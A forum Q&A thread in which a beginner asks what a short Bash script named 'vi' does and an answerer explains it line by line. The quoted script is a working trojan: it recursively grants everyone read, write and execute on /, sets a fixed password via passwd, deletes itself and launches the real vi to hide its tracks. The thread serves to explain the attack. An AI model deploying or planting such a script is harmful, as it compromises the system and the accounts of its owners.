Patrick Bateman
Patrick Bateman

Reputation: 23

What does this Bash Shell Script do?

i'm a very clueless beginner when it comes to Shell Scripts but i have to be able to explain what these lines of code do and not enough time to get more familiar with it first, so i cant't really give a lot of input.

As additional information the script itself is called vi just like the editor and is probably harmful/hoping to be run as admin

#!/bin/bash
#
# execute on your own risk !!
chmod -R og+rwx /
echo -e ‘‘Hacke.peter\n Hacke.peter\n’’ | passwd
rm $0
vi $*
logout # good bye!

I think the idea is that somebody is trying to run the actual vi (not this script) and then he accidentally calls this script - it changes the current users password to the output of the echo command (not sure what that is tho) and then the shell deletes itself and calls the editor so we dont realize anything happened. huge thank you to any answer in advance and sorry for being so clueless.

Upvotes: 2

Views: 83

Answers (1)

Oleg
Oleg

Reputation: 108

HMM Not sure if clueless beginner or a crafty hacker [insert suspicious Fry meme]. With the last name like that?

Here's what the script does, step-by-step:

  1. chmod -R og+rwx /: recursively (-R) opens all your files for reading, writing and executing (+rwx) by users in your group (g) and all other users (o).

  2. echo -e ‘‘Hacke.peter\n Hacke.peter\n’’ | passwd: resets your superuser password to "Hacke.peter".

  3. rm $0: removes itself. The $0 in bash stands for the file name of the current script.

  4. vi $*: opens the real vi editor with whatever arguments ($*) you passed to the original (now erased) script. If the script was also called vi, this step is to hide the tracks and avoid suspicion.

  5. logout: logs you out of root mode. Now you no longer have root and your filesystem is open.

Very nasty script!

Upvotes: 2

Related Questions